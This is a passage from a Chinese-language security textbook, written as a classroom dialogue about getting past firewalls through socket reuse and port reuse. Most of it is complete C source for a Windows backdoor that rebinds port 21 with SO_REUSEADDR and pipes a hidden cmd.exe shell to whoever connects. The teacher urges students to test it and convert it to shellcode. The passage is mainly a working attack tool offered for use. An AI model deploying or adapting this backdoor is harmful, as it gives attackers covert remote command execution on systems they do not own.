6.3.3 突破防火墙

“而第三个技巧,就是考虑如何突破防火墙和一些限制环境了!”

“我们的反连ShellCode不是可以起到突破防火墙的作用吗?”玉波问道。如图6-23。

“是的,但那样需要我们攻击方在公网上,有一个公网的IP地址。如果攻击方在内网,那目标机就反连不上来,这种方式就行不通了,如图6-24。”

“哇!是啊!这种情况下如何突破呢?”宇强也迷糊了。

“呵呵!现在我们既不能从攻击机发起连接,因为会被目标机的防火墙阻断;也不能从目标机发起连接,因为到不了攻击机的内网。”

“啊!岂不是路都堵死了?”小倩说道。

“大家不要在一条路上想死了,要换一个思路。”老师说道。“我们既然可以给远程机器发送攻击代码,那么它们之间应该是连接的!而远程机器间的连接通信一般都是通过Socket来完成的。”

“哦!我们利用原来的连接?”宇强叫了出来。

“对,如果我们的ShellCode可以找到发送攻击代码的那条通路的Socket,就可直接使用以前那个连接Socket,不用再新建端口了!如图-25。”

“哦!很巧妙啊!”台下感叹道。

“另外,服务器总要开些端口,我们也可把Shell的端口开在防火墙打开的端口上。”老师说,“通过端口复用来突破防火墙!”

“比如,对方开放了FTP服务,那么防火墙就需要打开21端口。我们的ShellCode就可复用目标机的21端口,在对方的21端口上绑定一个Shell;而攻击机通过连接21端口来获得Shell。如图6-26。”

“我们来看看复用端口的具体实现吧!程序如下:”

/*
绑定指定21端口,绑定cmd.exe
*/
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <tchar.h>
#include <process.h>
#include <io.h>
#pragma comment(lib, "ws2_32")
int main(int argc, char **argv) 
{ 
    //启动winsock
    WSAData wsa; 
    WORD wVersion;
    int ret;
    wVersion = MAKEWORD(2, 0); 
    if(WSAStartup(wVersion, &wsa) != 0)
    { 
        return -1;
    }
    //下面获取本机IP地址 
    char szHostName[128];
    char *pszIp;
    HOSTENT *pHost = NULL;
    if(gethostname(szHostName, 128)==0)
    { 
        pHost = gethostbyname(szHostName);
        if(pHost != NULL)
        {
            pszIp = inet_ntoa( *(in_addr*)pHost->h_addr_list[0] ); 
        }
        else 
        {
            printf("get host ip fail!\n");
            return -1;
        }
    }
    else
    {
        printf("can't find host name!\n");
        return -1;
    }
    //创建服务端套接字
    SOCKET ss; 
    if((ss = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) 
    { 
        printf("error!socket failed!\n"); 
        return -1; 
    } 
    //设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的 
    //但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
    BOOL val = TRUE;
    if(setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0) 
    { 
        printf("error!setsockopt failed!\n"); 
        return -1; 
    } 
    //重新绑定,这里重新绑定21端口
    SOCKADDR_IN saddr;
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr(pszIp);
    saddr.sin_port = htons(21); 
    if(bind(ss, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) 
    { 
        ret = GetLastError(); 
        printf("error!bind failed!\n"); 
        return -1; 
    } 
    listen(ss, 2); 
    //等待连接
    SOCKET clientFD;
    SOCKADDR_IN caddr;
    int nCaddrSzie; 
    nCaddrSzie = sizeof(caddr);
    clientFD = accept(ss, (struct sockaddr *)&caddr,&nCaddrSzie); 
    //连接之后,就和双管道后门完全一样了
    char Buff[1024];
    SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    //建立匿名管道1
    pipeattr1.nLength = 12; 
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
    //建立匿名管道2
    pipeattr2.nLength = 12; 
    pipeattr2.lpSecurityDescriptor = 0;
    pipeattr2.bInheritHandle = true;
    CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[] = "cmd";
    PROCESS_INFORMATION ProcessInformation;
    //建立进程 
    ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
    /*
    解释一下,这段代码创建了一个cmd.exe,把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe的标准输入用第二个管道的读句柄替换。如下:
     远程主机←入←管道1输出←管道1输入←输出(cmd.exe子进程) 
     远程主机→输出→管道2输入→管道2输出→输入(cmd.exe子进程) 
    */
    unsigned long lBytesRead;
    while(1)
    {
        //检查管道1,即CMD进程是否有输出
        ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
        if(lBytesRead)
        {
            //管道1有输出,读出结果发给远程客户机
            ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
            if(!ret) break;
            ret=send(clientFD,Buff,lBytesRead,0);
            if(ret<=0) break;
        }
        else
        {
            //否则,接收远程客户机的命令
            lBytesRead=recv(clientFD,Buff,1024,0);
            if(lBytesRead<=0) break;
            //将命令写入管道2,即传给CMD进程
            ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
            if(!ret) break;
        }
    }
    WSACleanup(); 
    return 0; 
}

“其实,关键就是下面这句:”

Setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0

“它把套接字‘ss’设为重用,这样就可重新绑定端口了。”

古风说道,“听起来很有意思和用处也!”

“嗯,这门课只懂得原理是远远不够的,实践才是关键。大家下去也亲自测试一下,并考虑提取成ShellCode。”

“好哩!用汇编和C语言直接提取都没问题。”古风摩拳擦掌。

“下次课我们会继续深入讲解漏洞的发现和分析!”

“那些更是我们想知道的东东!好啊!”同学们都欢呼起来。

“今天的课就讲到这里。天气有点冷,大家多注意身体。放学!”